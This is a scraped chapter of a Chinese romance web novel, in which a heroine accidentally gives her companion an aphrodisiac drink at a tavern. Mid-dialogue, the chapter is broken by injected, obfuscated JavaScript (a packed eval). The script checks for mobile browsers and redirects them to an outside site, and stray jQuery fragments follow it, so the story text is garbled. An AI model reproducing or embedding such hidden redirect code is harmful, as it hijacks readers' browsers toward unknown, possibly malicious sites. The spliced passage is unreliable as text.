9.第九章

作品:《院里【gb】

    他醉了吗?


    檀华心想,人在醉的时候,就容易说些性情的话。


    檀华酒量好,如果是一起喝酒的话,大多都是她看别人醉,她看过那个精明抠门的师兄醉的时候,会哭着说一定要出人头地,接母亲来天京享福;她看过那个豪气冲天的义父醉的时候,会望着大晟的方向喃喃自语;她也看过伊帕尔姐弟醉的时候,他们会强行拉着她,一起唱歌……


    杨知煦也醉了吗?


    静了一会,杨知煦抬眼看来,道:“怎么不说话了?”


    随着这一抬眼,楼外吹来晚风,额前两捋微卷的发丝,如细帘拂过他面。他衣裳的肩头袖口,绣着浅金色的松针,细腻发亮,挑动月华。


    檀华真心道:“能与你结交,是我的造化。”


    她声音轻,但落得重,说的杨知煦心口发烫,刚要开口,屋外传来热烈的叫好声,有酒小二在楼道里嚷:“老爷们!老爷们!都来瞧呀!楼里要开戏咯!”


    杨知煦朝那边看了看,道:“戏台要演出,要看吗?”


    檀华知道杨知煦爱看热闹,就点点头,又想起什么,从旁边抽了一壶酒。杨知煦见了,“百花酿,已经喝了三壶了,还没够?”


    檀华就把答应给李文送酒的事说了,杨知煦笑道:“好好好,他也是借上你的光了。”


    两人出了雅间,耳边顿时嘈杂了许多。流花阁是筒楼,中间空出一块,吊着各种彩带,连到下方的戏台子上。一层一层的酒楼客人都朝着中间围过去,挤来挤去,阁楼这层就他们两人,站到楼栏边,杨知煦打开扇子扇扇风,道:“我们这倒是松快,就是离得远。”


    檀华指了一个方向,是四楼尽头位置,那里似乎没有对外开放,前面挡着栅栏,空出了一方平台。


    杨知煦琢磨道:“那里倒是好位置,我可以让霜花给我们打开,可楼下现在人太多,挤过去就得好久,还要重新挤上楼,要——哎!”


    杨知煦话没说完,忽然感觉手臂一紧,檀华一手拎着酒壶,一手捆住他,身体微沉,说了句:“扇子攥紧别掉了。”然后就带着他从阁楼一跃而下——


    酒楼每层的栏杆上都有支出来的瑞兽雕刻,还有一圈一圈挂灯的檐头,檀华踩着借力,速度极快,连蹬了三四下,就下了三层,绕到了四层空位。


    现在楼里正热闹,但也有人注意到了这边的飞檐走壁,纷纷瞧过来,檀华落地时顺手将几条彩带扯过,垂在廊道尽头,挡住多余的视线,只留前方看戏的空当。


    檀华松开手,杨知煦眨眨眼,看过来。


    扇子敲她肩膀。


    杨知煦认真道:“下次跳楼前,要同我说一声。”


    檀华:“嗯。”


    戏台已经开始热场了,檀华道:“我去给李文送个酒。”


    一转身,被拉住了,杨知煦用比刚才更认真的视线看着她。


    “你可一定回来接我,我跳不回去。”


    檀华忽觉好笑,道:“放心。”


    李文原本在流花阁门口等人,这附近还有不少马车,都是在等各家主子的,这些随从等得无聊就相互聊天吹牛,什么我家老爷的生意做得有多大,跟官府关系有多好,上次家中办宴多有排场,来了多少酒妓,酒水倒满了一个池子。


    李文没参与聊天,他觉得他们恶俗,看不上。这清高样落在旁人眼里,就有点刺眼,他们不敢直接上前得罪,但也有的是办法恶心人。


    “哎,我家公子近期要迎新姨娘了。”


    “哎呦!赵公子这是第几房了?”


    “十五!原本是十七,有俩生孩子死了,我家公子的小公子小小姐都有十一个了!”


    “哎呀!恭喜恭喜啊!真是能力卓群,才能妻儿环绕啊。”


    景顺城里没有秘密。


    尤其像杨知煦这种人物,更是没有秘密。


    不管是烟花柳巷里风尘女子的碎碎念,还是屡屡失败的媒婆之间的相互抱怨,或者是友人无心间的闲谈,拼拼凑凑,就能得知,杨知煦从没跟哪个女人有过肌肤之亲,至少没跟景顺城里的女人有过。


    而杨知煦今年已经二十有七了,这肯定有哪不对。


    其实大部分人根本不关心这些,只念着杨玉郎的好处,觉着他要么眼界高,要么有颗清净心,不愿染红尘。但也有少部分跟杨知煦不对路子的,就传些风言风语,说这杨玉郎看着不像对男的有兴趣,那定是个天阉了,反正不是正常人。


    那边还在说——“我家公子都说了,一天离不了这个,离了还叫男人嘛?干什么都没劲,不如进宫当太监去!哈哈哈!”


    李文牙都要咬碎了,这帮狗东西,他拳头一捏就想过去教训他们,刚一起来,看见从楼里走出一个人。


    檀华来到马车前,把手里的酒给他。


    “给。”


    这白玉酒壶一拿出来,其他的随从都看过来了。百花酿是流花阁最有名的酒,也是最贵的酒,数量有限,就算是在店里都很难买到,酒壶都跟旁的酒不一样。


    李文低头看着这百花酿,很久没有抬头,在檀华要走的时候,他忽然把头抬起来,眼睛居然湿润了。


    他背对着其他人,只看着檀华,忽然说道:“你对公子好一点吧。”


    檀华一愣,不知为何他突然这么说,但她察觉他言辞真切,没多问什么,点点头。


    “好。”


    檀华回了酒楼,李文带着百花酿回到车板上,坐着慢慢饮,喝了两口,悠悠道:“哎,有些人替主子狗叫半天,一根骨头也没有,可真有意思。”


    戏一开唱,楼里彻底欢腾起来了,檀华不想再惹人眼球,就沿着楼梯上楼,这一路简直挤成了面饼。


    有酒妓举着盘子在旁笑唱:“酒足饭饱听完戏,再来点别的助兴呀,喝点蔷薇引,咱们一起醒醒酒,暖暖身子,哈哈!”


    檀华脑子里还在想着刚刚李文的话,不明白他的意思,刚巧路过酒妓身边,隐约听到一句“醒酒暖身子”,看去一眼,见盘子里放着数个胭脂红的小壶,十分精致好看,道:“给我一壶。”


    酒妓往她身上蹭,笑得眉眼如花,“来来来,贵人拿去,玩得尽兴。”


    檀华来到四楼,翻过封起的围栏,杨知煦注意到,抬手招呼。


    檀华走过去,正巧戏唱了一个高/潮,全场叫好,杨知煦俯身在她身旁,扇子遮住外面,道:“你怎么没飞上来?”


    檀华道:“一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222690|197324||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    个人飞没意思。”


    杨知煦笑了起来,又看她手里拿着的东西,顿了顿,问道:“这是什么?”


    檀华把小壶拿起来,“叫什么蔷薇引,我上来的时候碰见的,说是醒酒暖身子的,我就替你要了一壶。”


    杨知煦嗯了一声。


    戏里故事简单,无非王侯将相,才子佳人,但唱得有趣,没那么讲究技巧,主打一个热闹,大伙也给面子,一波波浪潮迭起。


    过了一阵,杨知煦同檀华道:“剩下一折没多大趣味,我们先回去。”


    “好。”


    檀华趁着台上翻着跟头,大伙喝彩的时候,带着杨知煦回到阁楼雅间。


    “哎,渴死我了……”杨知煦往榻上一坐,从旁拎了一壶酒就要喝。


    檀华给他拦下了,“你别喝酒了,”她把那蔷薇引打开,倒了半碗,“喝这个。”


    杨知煦看着这精致小壶,道:“行。”


    那之后,檀华接着喝酒,杨知煦则是吃点瓜果,就着这蔷薇引,两人轻松地闲聊着。


    聊着聊着,檀华看着杨知煦的面色,道:“怪不得你家人要管你饮酒。”


    “怎了?”


    “你也没喝多少,还饮了解酒汤,现在居然还是面带酒色。”


    杨知煦笑笑,道:“从前我酒量还行,可能这些年喝得少了,不适应。”


    又过了一会,檀华开始觉得有问题了。


    她皱着眉,道:“你脸色不对,可有不适?”


    杨知煦皱着眉,面色潮红,红到脖子,到指尖,红得目光都有些迷离了。


    “我……”他一开口,声音哑得把自己都吓到了,“我没……”他脑子发昏,身体歪倒,差点没撑住。


    “杨公子!”檀华立即起身。


    这雅间有个内隔的小间,里面有张供人休息的架子床,檀华扶着杨知煦过去。他站起来时已经完全没力了,几乎完全倚在她身上。


    檀华让杨知煦躺下,他呼吸急促,身体不自觉地轻动,脸上甚至渗出了一层薄汗,他开口呼吸,嘴唇越来越干,干到受不了时,他放口中一抿,润过之后,变成加倍的红艳。


    月白色的薄衣下,鼓起了一块,尤为突兀。


    檀华站在床边。


    如果再看不出杨知煦是出了什么事,那她这些年真是白混了。


    “那个蔷薇引……”现在再一想那酒妓意味深长的笑,檀华后悔莫及,只怪当时她想着别的事,全无注意。“是我没脑子了,我去找他们。”


    檀华转身,被一把拉住。


    “别……”他低哑着嗓音,“别告诉他们……”


    檀华一顿,是了,杨知煦是什么人,若这种事被传出,定会遭人议论。


    檀华少见地懊恼起来,低声道:“此事都怪我,我还以为那是解酒汤。”


    杨知煦抬起一条手臂,用宽袖遮住了脸颊。


    檀华知他一向注重仪容,当下一定难受万分,但她看他情形,实在放心不下。她蹲到床边,对他道:“杨公子,这种药要么用真气导引,要么泄出体外,不能这样干忍,你……”檀华对他说这些,也觉得有些难以启齿,“我在外面为你守着,你好了就叫我。”